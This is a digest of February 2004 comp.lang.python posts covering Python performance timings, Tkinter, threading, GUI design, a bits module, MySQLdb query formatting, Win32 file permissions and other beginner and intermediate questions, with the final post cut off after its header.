> > preallocation might be useful.
> 
> In the real world, (some of) the default values have to be overwritten,
> which reduces the speed advantage to a factor of 2:
> 
> $ timeit.py 'L=[None]*1000' 'for i in xrange(1000): L[i] = None'
> 1000 loops, best of 3: 338 usec per loop
> $ timeit.py 'L=[]' 'for i in xrange(1000): L.append(None)'
> 1000 loops, best of 3: 660 usec per loop

But what you're measuring here is function-call overhead.

# Item assignment
$ timeit.py 'L=[None]*1000' 'for i in xrange(1000): L[i] = None'
1000 loops, best of 3: 1.58 msec per loop

# Method resolution and function call with 1 parameter
$ timeit.py 'L=[]' 'for i in xrange(1000): L.append(None)'
100 loops, best of 3: 2.99 msec per loop

# One-at-a-time insertion with no function call overhead
$ timeit.py '[None for i in xrange(1000)]'
1000 loops, best of 3: 1.9 msec per loop

# Method resolution and function call with 2 parameters
$ timeit.py 'L=[None]*1000' 'for i in xrange(1000): L.__setitem__(i, None)'
100 loops, best of 3: 4.39 msec per loop

# Method resolution and function call with 1 parameter
$ timeit.py 'L=[None]*1000' 'for i in xrange(1000): L.__getitem__(i)'
100 loops, best of 3: 3.28 msec per loop

Jeff



From jimhill at swcp.com  Fri Feb 13 12:05:58 2004
From: jimhill at swcp.com (Jim Hill)
Date: Fri, 13 Feb 2004 17:05:58 +0000 (UTC)
Subject: python vs. perl
References: <20040212170911.22719.00001914@mb-m18.aol.com>
	<t7WdnfnhcaxcqrHd4p2dnA@adelphia.com>
	<102olcupesj3lf6@corp.supernews.com>
	<c0ht8i$9sd$1@news.service.uci.edu>
Message-ID: <c0j05m$nm0$1@iruka.swcp.com>

Josiah Carlson  wrote:
>> I maintain the official FAQ for Perl/Tk--yet I prefer Tkinter.
>
>That is awesome.


Making FAQ number one "Hey, what's up with that?"  <#include smiley.h>


Jim
-- 

                Longhaired freaky people need not apply.


From wweston at att.net  Mon Feb  9 11:23:09 2004
From: wweston at att.net (wes weston)
Date: Mon, 09 Feb 2004 16:23:09 GMT
Subject: How to open files
In-Reply-To: <102dgnqrlu47l60@corp.supernews.com>
References: <102dgnqrlu47l60@corp.supernews.com>
Message-ID: <NtOVb.5000$fV5.153161@bgtnsc04-news.ops.worldnet.att.net>

ADE,

bind clicks:

self.FileListBox.bind( "<Double-Button-1>",self.OpenSelectedDoubleClick

get the line:

select_list = self.FileListBox.curselection()
if len( select_list ):
	path = self.FileListBox.get( select_list[0] )

ADE wrote:
> Hi I have a Tkinter GUI with a listbox that displays a list of files I would
> like to be able to open those files when I double click on them in there
> default program that opens the files usually
> 
> Thanks in advance Cheers
> 
> 
> Andrew
> 
> 
> 
> 



From feb04.20.netman at spamgourmet.com  Sat Feb 28 17:34:23 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sat, 28 Feb 2004 22:34:23 GMT
Subject: cls
References: <7adc6872.0402271949.3645d9c@posting.google.com>
Message-ID: <PH80c.3769$6c5.2350@nwrdny01.gnilink.net>

print '\n'*1000


"Art McClure" <aamccl at yahoo.com> wrote in message
news:7adc6872.0402271949.3645d9c at posting.google.com...
> May I ask a dumb question? I am working with Python 2.3 IDLE. I want
> to completely clear the screen except for the ">>>", of course. What
> do I use? I have tried a number of suggestions, but they don't do the
> job.




From Scott.Daniels at Acm.Org  Fri Feb 13 00:55:52 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Thu, 12 Feb 2004 21:55:52 -0800
Subject: Bits module -- early working version
Message-ID: <402c7052@nntp0.pdx.net>

I've been working on a module to get at the bits of all numeric types
(no,  I haven't thought of how to solve the decimal data type that is
coming).  I've finally got the bits module to pass all of my own tests,
so I'm looking for bug reports, design critiques, and general input.  I
eventually plan to release this under an MIT-style license.  If you are
interested in seeing read access to the bits of python's numbers, and
want to see what I'm up to / critique someone else's work / volunteer to
help extend, check out:

     http://members.dsl-only.net/~daniels/bits.html

If you want to know what questions I have, here are my current set:

1) Do you know a case that fails?
2) Should the names be lsb, lsbit, or lsbitno (and similarly for msb*)?
    I've gone with lsb, but cases can be made for the others.
3) Is "extract" the right name, or should I us a name more like "bits"?
4) Should bit(v, N) somehow be subsumed in extract(v, l, hi) (or
    whatever extract should be called)?
5) Have I adequately explained what these functions do?
6) Do these functions work as-is (from source) for various machines?
    I know/believe Intel x86/pentia work; what about alpha, 68K, ....
7) Should bitcount simply raise and exception on negative input?
8) If you supply an unexpected argument type for the number, should I
    try to calla corresponding method?  (__bit__ for bit, __msb__ for 
msb, ....)

So I'd like feedback before actually releasing.

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From ktag at eircomBAD.netSPAM  Fri Feb 20 12:51:16 2004
From: ktag at eircomBAD.netSPAM (ktag)
Date: Fri, 20 Feb 2004 17:51:16 +0000
Subject: Thread problem
Message-ID: <c15ds9$icc$1@news.tiscali.fr>

Hi,

I'm having some very wierd thread problems:
- my thread is not starting every time I start my application. It is
  displayed as started (print my_thread), but my print statements
  (like print "Got here") are not appearing. Worst is that it's not
  happening every time.
  It's a very inconsistent behaviour that I don't understand.
- even when it starts properly and my print statements appear
  it doesn't get to the end of the run(self) method. It stops somewhere
  in the middle. Always the same place.
- most interesting stuff is that my thread is always completing when
  I close my app. All my print statements appear and everything is
  great but my app is closing down!

It must be something silly. I can send some code so you see what's
going on. Maybe something on the Linux side?
Linux Pismo 2.4.22-powerpc #1 mar f?v 17 08:42:07 CET 2004 ppc GNU/Linux
Python 2.3.3
[GCC 3.3.3 20040110 (prerelease) (Debian)] on linux


From merkosh at hadiko.de  Sat Feb  7 18:15:32 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sun, 08 Feb 2004 00:15:32 +0100
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
Message-ID: <c03rii$c2t$1@news.rz.uni-karlsruhe.de>

Pierre Rouleau wrote:
>> So the question is rather: how to make a better design?
> 
> Why not look at the GUI as a "presentation layer" that provides access
> to the program functionality, like file I/O, help access, etc.  Then the
> file I/O, help, (etc...) can be written without any knowledge to the GUI
> (and therefore testable from a python shell or a testing script) and the
> Gui code just call the File I/O, help functions or members.  If you need
>   callbacks, then provide callbacks.   This way you would decouple the
> GUI from the system functionality.  Only GUI code would import the other
> modules.  The File I/O, help (etc...) would not know anything about the
> GUI implementation requirements.

I've already got separate modules for non-GUI related functionalities, i.e.
accessing record based file formats, etc. These are imported by the module
that currently covers "Open", "Save", "Save As", "Properties", "New" (in
the File menu).
This alone spans 442 lines (including comments and empty lines), containing
only dialog interaction and calls to the previously mentioned file-module. 

Is 500 lines a good count to start splitting up the code?

Currently the "main" part is just a main widget with all its toolbars, menu-
and status bar. This part imports all other modules that then cover a small
portion of the programs functionality, i.e. one module covers all file
open, save, close related stuff, another may cover all help related
actions, another covers the presentation, modification and propagation of
the rather large collection of preferences, etc.

My current solution is thinking along the line that all these components
usually exist only once in the system, i.e. there's no reason why there
should be two objects covering the same preferences dialog.
So each component implements the list or dictionary interface by which its
data can can be accessed from other components. For example after opening a
file an access to the fileIO component like: fileIO[0:10] 
would return the first 10 records from the file.
Similarly something like preferences['fileIO'] might return all preferences
for the fileIO component, etc.
Of course the component that displays the record (presentation layer) will
need to be notified of a new file that has been loaded. To realise this I
have implemented a "callback" mechanisme similar to the Qt's SIGNAL-SLOT
mechanisme: the fileIO component registers signals "fileNew", "fileOpen",
etc. under the name 'fileIO'. And when a component wants to be notified
when a new file is opened it sort of 'fileIO.registerCallback("fileNew()",
self.fileNew_callback)'.
And then the fileIO module calls all callbacks in the list of "fileNew()"
when a new file has been opened.

Is this approach getting to complicated?

One problem I'm still having with this is: for component B to register a
callback at component A, B still got to have a reference to component A in
order to make a call like "A.registerCallback(...)"
You might not know what B needs to access, so you cannot pass "what is
needed" in the constructor, nor let the code that instanciates B set
attributes. 

Ciao
Uwe


From secchi at sssup.it  Wed Feb 18 06:53:52 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Wed, 18 Feb 2004 12:53:52 +0100
Subject: Converting binaty to ascii
Message-ID: <20040218125352.1a718574.secchi@sssup.it>



Any suggestions on what is the right approach to solve the problem of
converting a database in binary format to an ASCII format?
Thanks for your help
angelo



--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it
========================================================
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From fumanchu at amor.org  Mon Feb 23 18:36:21 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 23 Feb 2004 15:36:21 -0800
Subject: Python scripts in IIS
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D96@opus.amorhq.net>

Jon Cosby wrote:
> I'm having trouble executing Python scripts in IIS. I have 
> the error message
> "%1 is not a valid Win32 application". Anyone know what this is about?

Several people know what this is about, and have collected their
combined wisdom into a new and powerful tool called "Google". I have
"power user" rights on this "Google" thing, and will let you click on
this link for a modest fee:

http://www.google.com/search?q=%22valid+win32%22+python


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From M.Boeren at guidance.nl  Mon Feb 23 06:12:46 2004
From: M.Boeren at guidance.nl (Marc Boeren)
Date: Mon, 23 Feb 2004 12:12:46 +0100
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
Message-ID: <7BE0F4A5D7AED2119B7500A0C94C58AC3D6FCD@DELLSERVER>


Typo in my snippets:

> cursor.execute("select * from T where C1 not in (%s)", params)
should read

cursor.execute("select * from T where C1 not in %s", params)

since the converter-functions adds the parens already:

> # this is used to translate lists/tuples to (1,2,3) format
> # doesn't check to see if contents are actually numeric...
> def _converter_set_ids(x, d):
>     if not len(x): return "(NULL)"
>     return "(%s)" % ", ".join([str(xx) for xx in x])

Cheerio, Marc.



From harry.g.george at boeing.com  Wed Feb 18 04:02:56 2004
From: harry.g.george at boeing.com (Harry George)
Date: Wed, 18 Feb 2004 09:02:56 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<mailman.4.1077115883.27104.python-list@python.org>
Message-ID: <xqx4qtodakf.fsf@cola2.ca.boeing.com>

Paul Prescod <paul at prescod.net> writes:

> Harry George wrote:
> > ... Of course, even in the natural history phase pioneers and advance
> > scouts are capable of detecting an easier pass through the mountains
> > of comlexity.  If 20 people from varied background, each of whom has
> > worked in several languages, tell me that Python is a really great
> > language, then I'll take that as a significant data point.  Especially
> > if they are dumping their previously favorite languages (as varied as
> > COBOL, Perl, Java, C++, VB, Modula-3, Lisp, Prolog) to focus on
> > Python.
> 
> It would be easy to find 20 such people but it would be easy to find
> 20 such people for almost any language. I think that the PERCENTAGE of
> people who are happy with Python and would gladly stick with it for a
> few years is higher than with most other languages but if you're just
> looking for 20 fanboys you can certainly find them for any modern
> language.
> 
>   Paul Prescod
> 
> 
> 


I should have phrased this as: If there are 20 people you know who
have varied programming backgrounds, and they *all* are excited by
Python within 2 weeks of meeting it, then that is a significant data
point.

That's what is happening here.  Assorted FORTRAN, COBOL, C/C++. VB,
Perl, Lisp, Prolog, and Java programmers.  Basically the same reaction
from each one.

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From mensanator at aol.compost  Sat Feb 14 23:25:53 2004
From: mensanator at aol.compost (Mensanator)
Date: 15 Feb 2004 04:25:53 GMT
Subject: Bits module -- early working version
References: <402c7052@nntp0.pdx.net>
Message-ID: <20040214232553.13140.00001297@mb-m20.aol.com>

>Subject: Bits module -- early working version
>From: Scott David Daniels Scott.Daniels at Acm.Org 
>Date: 2/12/2004 11:55 PM Central Standard Time
>Message-id: <402c7052 at nntp0.pdx.net>
>
>I've been working on a module to get at the bits of all numeric types
>(no,  I haven't thought of how to solve the decimal data type that is
>coming).  I've finally got the bits module to pass all of my own tests,
>so I'm looking for bug reports, design critiques, and general input.  I
>eventually plan to release this under an MIT-style license.  If you are
>interested in seeing read access to the bits of python's numbers, and
>want to see what I'm up to / critique someone else's work / volunteer to
>help extend, check out:
>
>     http://members.dsl-only.net/~daniels/bits.html
>
>If you want to know what questions I have, here are my current set:
>
>1) Do you know a case that fails?
>2) Should the names be lsb, lsbit, or lsbitno (and similarly for msb*)?
>    I've gone with lsb, but cases can be made for the others.
>3) Is "extract" the right name, or should I us a name more like "bits"?
>4) Should bit(v, N) somehow be subsumed in extract(v, l, hi) (or
>    whatever extract should be called)?
>5) Have I adequately explained what these functions do?
>6) Do these functions work as-is (from source) for various machines?
>    I know/believe Intel x86/pentia work; what about alpha, 68K, ....
>7) Should bitcount simply raise and exception on negative input?
>8) If you supply an unexpected argument type for the number, should I
>    try to calla corresponding method?  (__bit__ for bit, __msb__ for 
>msb, ....)
>
>So I'd like feedback before actually releasing.

Testing for the lsb allows me to speed up my Collatz program since I can
extract all the factors of 2 in one fell swoop as opposed to iterating through
each one. For the large numbers I work with (2**100000 - 1 in the following
example), this optimization is signifigant:

c:\python23\user>python collatz_.py 100000

standard Python long ints without optimization
r1 863323 r2 481603 in 632.234999895 seconds

optimized with bits.lsb() bit scanning
r1 863323 r2 481603 in 332.5 seconds

But I had already been using the gmpy module which has the scan1()
function that does the same thing as bits.lsb(). And gmpy long ints are
more efficient than the Python long ints. Together, I get much better
performance:

optimized with gmpy.scan1() bit scanning
r1 863323 r2 481603 in 131.733999968 seconds

For my work, I can't see any advantage in using bits over gmpy.

>
>-- 
>-Scott David Daniels
>Scott.Daniels at Acm.Org



--
Mensanator
Ace of Clubs


From maxwell at ldc.upenn.edu  Mon Feb 23 14:52:14 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: 23 Feb 2004 11:52:14 -0800
Subject: building Python under Services for Unix (SFU)
References: <mailman.25.1076710025.31398.python-list@python.org>
Message-ID: <367a4461.0402231152.7ee88c0b@posting.google.com>

Rich Krauter <rmkrauter at yahoo.com> wrote in message news:<mailman.25.1076710025.31398.python-list at python.org>...
> Do you have to use SFU for some reason? If not, try
> cygwin ...

I had moved to SFU from CygWin, thinking there might be an advantage
(speed, NFS access, etc.)  In the end, I decided the disadvantages
(not having a Python that used the unix-style directory structure,
lack of some other utilities I depended on) outweighed whatever
advantages there might be, and reverted to CygWin.

I think the moral of the story for Microsoft is that they have some
work to do to make SFU a competitor.  At least that's my view; I may
be missing something.

    Mike Maxwell


From gerson.kurz at t-online.de  Thu Feb 26 12:36:26 2004
From: gerson.kurz at t-online.de (Gerson Kurz)
Date: Thu, 26 Feb 2004 17:36:26 GMT
Subject: file() and Win32 security attributes
Message-ID: <403e2bfd.9144015@news.t-online.de>

Hi all, a quick question: how can I force file() to create files that
have "ALL ACCESS FOR EVERYONE" security attributes? Other than by a
major rewrite of my existing code modules replacing the existing
"native-python" code by win32file / win32security calls? 

In case you're wondering what is happening here: 

- user A with admin rights logs on to NT and uses python to create a
file
- user A logs off
- user B without admin rights logs on to NT and uses python to access
said file -> doesn't work, because B has no admin rights and cannot
access files created by an administrator.

Most feasible solution is AAFE, because a more finegrained ACL is a
nightmare to maintain :) 




From timr at probo.com  Thu Feb 19 02:32:39 2004
From: timr at probo.com (Tim Roberts)
Date: Wed, 18 Feb 2004 23:32:39 -0800
Subject: display available memory
References: <4031ea86$0$22496$626a14ce@news.free.fr>
Message-ID: <6gp830dbn03i7sufd76mr15uohvtrqoaoh@4ax.com>

"Alexandre" <alx5962NOSPAM at yahoo.com> wrote:
>
>I'd like to display available memory using Python but I haven't found the
>easy way to do it...
>Any idea please?
>Also I need a no specific OS function, as I plan to not only use it under
>Windows.

There is no system-independent method of doing this.  In fact, it's not
easy to find a system-DEPENDENT method of doing this.

That's partly because the whole concept has very little meaning.  What do
you mean by "available memory"?  Windows and Linux are both virtual memory
systems.  The amount of RAM in your machine is irrelevant; the operating
system will just keep giving you more and more memory and rolling the old
stuff out to the swap file.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From tgiles at spam.kc.rr.com  Tue Feb  3 03:14:18 2004
From: tgiles at spam.kc.rr.com (tgiles)
Date: Tue, 03 Feb 2004 02:14:18 -0600
Subject: removing spaces when mixing variables / text
Message-ID: <pan.2004.02.03.08.14.18.542560@spam.kc.rr.com>

Hi, all.

I'm YAPN (Yet Another Python Newbie), started messing with it last night
and so far, so good. Documentation exellent and the people seem friendly
enough ;)

Ok, I started playing around with random() and decided to write a script
to generate random dotted quad IP addresses, just to see if I could do it.

Everything is perfect with the glaring exeception of the output. It seems
as if when one uses the "," in a print statement, you get an empty space
in between variables and what I want there (namely, the ".").

I've tried it several different ways with no go. Here's the script in all
her cheesy glory:

import random
	n = 2
	while n > 0:	
	a = random.randint(1,254)	
	b = random.randint(1,254)	
	c = random.randint(1,254)	
	d = random.randint(1,254)
	print a,".",b,".",c,".",d	
	n = n-1

The output at the moment looks like so:

179 . 72 . 138 . 272
21 . 124 . 83 . 9

When, in a perfect universe it would look like so:

179.72.138.272
21.124.83.9

Thoughts on what critically simple something I missed?

Thanks for the input!

tom


From omission9 at invalid.email.info  Wed Feb 25 02:02:46 2004
From: omission9 at invalid.email.info (omission9)
Date: Wed, 25 Feb 2004 07:02:46 GMT
Subject: python 2.3.2 hangs when returning an int
In-Reply-To: <mailman.81.1077680051.8594.python-list@python.org>
References: <mailman.81.1077680051.8594.python-list@python.org>
Message-ID: <qMX_b.6366$fL4.5116@nwrddc01.gnilink.net>

  >>By eliminating the instance in the function that was being called I
>>eliminated the problem. BIZARRE!! What made this so awful was that it
>>took many many iterations of these functions to generate the error. I
>>have no idea why it didn't blow the first, say, hundred times through.
> 
> 
> Do you have any real idea why it did blow eventually?

If by "real idea" you mean something more concrete than the vague 
handwaving in my last post, no. ;)


>>Maybe if I ever get the motivation I'll attach a C debugger to the
>>whole thing and look deeper into the guts.
> 
> 
> That sounds inevitable, alas.  You changed something that appeared to make
> your immediate problem go away, but you left it there without pushing on to
> an understanding of the true cause.  Such bugs always return, IME.
> 
> it's-more-a-matter-of-work-than-of-desire-ly y'rs  - tim

Actually, this is for my employer so its more a matter of having the 
"powers that be" deciding how I should spend my time. Debugging 
something which is, at face value, "fixed" is not on the list.
Yeah, it may have just been pushed off to some far far edge of the user 
experience but that is not necessarily all that awful. Remember how a pc 
running Win98(or was it 95?) would crash *no matter what* if left on for 
something like 48 days straight? I'll get around to it at some point if 
it resurfaces but proper project management would really dictate not 
spending much of a developer's time on a problem that occurs less than 
1% of the time, if at all.



From bart_nessux at hotmail.com  Mon Feb  9 21:54:22 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Mon, 09 Feb 2004 21:54:22 -0500
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<slrnc2ggsi.14l.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <c09h46$nih$1@solaris.cc.vt.edu>

Ben Finney wrote:

> I've no idea how "re-use the code" leads you to think of more specific
> functions -- surely the trend would be to more *generic* functions, that
> can thus be re-used in more places?

Yes, I got that part backwards. I meant generic. Thank you for pointing it
out. I'm dyslexic. To me, left is right and right is left. I work a lot
with files and file systems in general. I have a function that counts the
number of objects in a FS and returns that. It's very generic and can be
used with most any py script that needs to know how many FS objects are in
a certain path before doing something else.

> I recommend you get a copy of Code Complete (Steve McConnell, published
> by Microsoft Press).  It is an extremely comprehensive and approachable
> tome on the actual practice of writing code.
> 
> In particular, it explains just about every reason to use abstraction in
> data, code and algorithms.  Some you may have heard before, but my
> feeling from your message is that a lot of it will be new -- and all of
> it is valuable.

Thank you, I'll look into this 


From mwh at python.net  Tue Feb 10 06:16:12 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 10 Feb 2004 11:16:12 GMT
Subject: Allowing non-ASCII identifiers
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
	<4027EAC5.2090603@prescod.net> <402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com>
	<b840abf4.0402100230.298b33c8@posting.google.com>
Message-ID: <m3isif2nic.fsf@pc150.maths.bris.ac.uk>

artur_spruce at yahoo.com (AdSR) writes:

> On a side note, one place where I think non-ASCII really should be
> avoided are domain names, something that is being much debated
> recently.

And something Python supports already :-)

Cheers,
mwh

-- 
  Windows XP: Big cow. Stands there, not especially malevolent
  but constantly crapping on your carpet. Eventually you have to
  open a window to let the crap out or you die.
                           -- Jim's pedigree of operating systems, asr


From eric.brunel at N0SP4M.com  Wed Feb 11 11:41:39 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Wed, 11 Feb 2004 17:41:39 +0100
Subject: How to avoid "f.close" (no parens) bug?
References: <mailman.1466.1076513845.12720.python-list@python.org>
Message-ID: <c0dlgv$fn5$1@news-reader4.wanadoo.fr>

Batista, Facundo wrote:
> Skip Montanaro wrote:
> 
> #- Pychecker reports:
> #- 
> #-     % pychecker foo.py
> #-     name: foo
> #-     Processing foo...
> #- 
> #-     Warnings...
> #- 
> #-     foo.py:4: Statement appears to have no effect
> 
> Why "appears"?
> 
> There is any case when f.close, or bar or something like "not a call to a
> function (there is no ')'), with no '=' at the left or at the right" has any
> effect?

You may be able to call some "real" code just by accessing an attribute by using 
properties. I'm not quite sure, and I can't check because I have only Python 2.1 
here.

> If no, could Python alert before run time?
> 
> I don't see nothing, but I'm kinda blind, :p
> 
> .	Facundo
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From miki.tebeka at zoran.com  Thu Feb  5 07:19:06 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 5 Feb 2004 04:19:06 -0800
Subject: self-extracting installer
References: <mailman.1188.1075890224.12720.python-list@python.org>
	<f6554b84.0402042251.699839@posting.google.com>
Message-ID: <4f0a9fdb.0402050419.3552abe@posting.google.com>

Hello Sylwia,

> How can I avoid the fact that it creates a separate "program" in the
> Add/Remove dialog on Windows :( I don't want any of my patches to be placed there.
In NSIS you control everything that is added. You can just omit the
parts that add unintall information.

HTH.
Miki


From P at draigBrady.com  Thu Feb 12 05:33:31 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Thu, 12 Feb 2004 10:33:31 +0000
Subject: glade/pygtk trouble on Red Hat 9
In-Reply-To: <402b11fc$0$3138$61fed72c@news.rcn.com>
References: <402b11fc$0$3138$61fed72c@news.rcn.com>
Message-ID: <402B567B.4030101@draigBrady.com>

Will Ware wrote:
> In July there was a thread about problems on Red Hat 9 with PyGTK
> not playing nice with Glade. I was tinkering with this a little bit
> tonight, starting with the code I found in this article:
> http://www.linuxjournal.com/article.php?sid=6586
> 
> Based on what was written, I tried this and had no joy:
> 
> As far as I can tell, there seems to be a problem with
> signal_autoconnect, either how it's implemented in libglade
> or how it gets connected to Python. Anyway, I'm passing this
> along for any who might find it helpful.

Never had a problem with signal_autoconnect (on redhat 7.x or above)
Have a look at the libglade module for either of the GUI apps here:
http://www.pixelbeat.org/talks/pygtk/
It's much the same as the code you posted but it's worth trying.

-- 
P?draig Brady - http://www.pixelbeat.org



From maarten at remove_this_ws.tn.tudelft.nl  Mon Feb  9 09:17:21 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Mon, 09 Feb 2004 15:17:21 +0100
Subject: Transfer undefined class methods to attribute's method.
Message-ID: <c084pg$4m2$1@news.tudelft.nl>

Hello,

Maybe I was a little too detailed in my previous post [same title]. I can
boil down my problem to this: say I have a class A that I encapsulate with
a class Proxy. Now I just want to override and add some functionality (see
my other post why). All functionality not defined in the Proxy class should
be delegated (I can't use inheritance, see other post). It should be
possible to achieve this using Python's great introspection possibilities,
but I can't find out how. Any help would be really appreciated!

TIA, Maarten

Example (class A and Proxy): 

class A:
    def __init__(self):
        pass

    def methodA(self):
        pass

    def methodB(self):
        pass

    def methodC(self):
        pass

class Proxy:
    def __init__(self):
        self.a = A()

        # maybe scan the methods in A and not in this class?????
        # setup a hook for undefined methods?

    def methodA(self):
        # what I DON'T want:
        return self.a.methodA()
        # and this for every method...


    # maybe something like this?
    def process_unknownmethod(self, method, args):
        return self.a.method(args)

P = Proxy()
P.methodA()
P.methodC()

output:
Traceback (most recent call last):
  File "group.py", line 36, in ?
    P.methodC()



-- 
===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From bignose-hates-spam at and-benfinney-does-too.id.au  Mon Feb  9 18:49:39 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 10 Feb 2004 10:39:39 +1050
Subject: gvim file filter
References: <mailman.1392.1076370667.12720.python-list@python.org>
Message-ID: <slrnc2g8a3.14l.bignose-hates-spam@rose.localdomain.fake>

On Mon, 9 Feb 2004 15:41:08 -0800, Totte Karlsson wrote:
> How can I change gvims file open filter?

No idea why you're asking this in a newsgroup about the Python
programming language.

Try <news:comp.editors> or <http://www.vim.org/>.

-- 
 \     "If you can't annoy somebody there is little point in writing." |
  `\                                                  -- Kingsley Amis |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From gerrit at nl.linux.org  Thu Feb 19 07:07:01 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 19 Feb 2004 13:07:01 +0100
Subject: strings with moreover of one million of characters
In-Reply-To: <c0vj6n$1bft54$1@ID-111250.news.uni-berlin.de>
References: <c0vic2$fe0$1@nsnmrro2-gest.nuria.telefonica-data.net>
	<c0vj6n$1bft54$1@ID-111250.news.uni-berlin.de>
Message-ID: <20040219120701.GA4120@nl.linux.org>

Diez B. Roggisch wrote:
> > Is possible use strings with moreover of one million of characters?
> 
> >>> s = "A" * 2000000
> >>> print len(s)
> 2000000
> 
> Works..
>  
> > I try using int() but the program keep blocked.
> 
> What has int() with string to do?

Maybe he's trying to do:
int('1' + '0'*int(1e6))

WYTTD?

Gerrit.
-- 
Weather in Twenthe, Netherlands 19/02 11:25 UTC:
	2.0??C Scattered clouds partly cloudy wind 6.3 m/s ENE (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From tim.golden at viacom-outdoor.co.uk  Mon Feb  2 11:18:08 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 2 Feb 2004 16:18:08 -0000 
Subject: How to get my MAC address with python ?
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E44346BD@tdi_nt9.internal.viacom-outdoor.co.uk>

>From: olivier Ravard [mailto:ravard at univ-rennes1.fr]
>Hi,
>
>I want to know the MAC address of my local network card with a python 
>script.
>I tested the socket module which gives only the IP address.
>Is someone have an idea ?
>
>Thanks.
>
>O.R.

http://tgolden.sc.sabren.com/python/wmi_cookbook.html#ip_addresses

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________



From crescent_au at yahoo.com  Thu Feb  5 22:30:42 2004
From: crescent_au at yahoo.com (Ben)
Date: 5 Feb 2004 19:30:42 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
Message-ID: <d99e1341.0402051930.57985621@posting.google.com>

Thanks for replies guys!!

I still need to ask something... Let me be more specific. I wanna
create a web page where I want to put photos taken by me... There are
lots of them. I also want to include a search capability in my web
page for users to search my photos by name (topic)... For this, I
would like to use a database which includes the location of my photos
on the server along with names and sizes... I would also like to make
it easier for me to add more photos in the future with ease. Also if
possible, try to generate html pages on the fly as I upload photos on
the server. In other words, I wanna make my web design efficient with
least amount of manual work. Well, this is pretty much the scenario.

What do you think would be a best design technique that I should
follow? I know Dreamweaver, Python, Java, JavaScript, CGI using
python, C, C++... What programming languages do I need to learn in
order to accomplish my task? If I need to choose between ASP and JSP,
I'd rather go for JSP cause it'll be easier for me to migrate as I
don't know much about VB, Jscript and C#. What are some of your
recommendations?

Someone mentioned Zope. Is it similar to ASP, PHP or JSP? Is it a
Pythonic version of ASP, JSP?

I'm kind of lost... There are too many of these acronyms in the
market.. Need some directions..

Thanx a lot!
Ben

llothar at web.de (Lothar Scholz) wrote in message news:<6ee58e07.0402051148.25add90e at posting.google.com>...
> crescent_au at yahoo.com (Ben) wrote in message news:<d99e1341.0402050505.226a01c8 at posting.google.com>...
> > Hi all!
> > 
> > I learned Python as part of my university coursework... I enjoyed it.
> > Now I'm just wondering how Python compares with asp, jsp, php and what
> > not?? I don't have slightest knowledge about these languages... Are
> > they more advanced than Python? Can Python be integrated with
> > Dreamweaver?
> > 
> 
> They are different and so a comparision does not make sense.
> 
> You want a comparison about web frameworks/templates like Cheeta,
> Python Server Pages, Draco Server Pages, Sypce or whatever is out
> there right ?


From jeremy at jdyallop.freeserve.co.uk  Sun Feb  8 15:01:13 2004
From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop)
Date: 8 Feb 2004 20:01:13 GMT
Subject: How to make a Gaussian Fit?
References: <40258ecd$0$16818$a729d347@news.telepac.pt>
Message-ID: <slrnc2d5c9.3c2.jeremy@hehe.cl.cam.ac.uk>

Xcal wrote:
> Anyone knows how to make a Gaussian fit [...]

Put it on a mean exercise program and don't allow any deviation.


From harry.g.george at boeing.com  Tue Feb 17 03:00:28 2004
From: harry.g.george at boeing.com (Harry George)
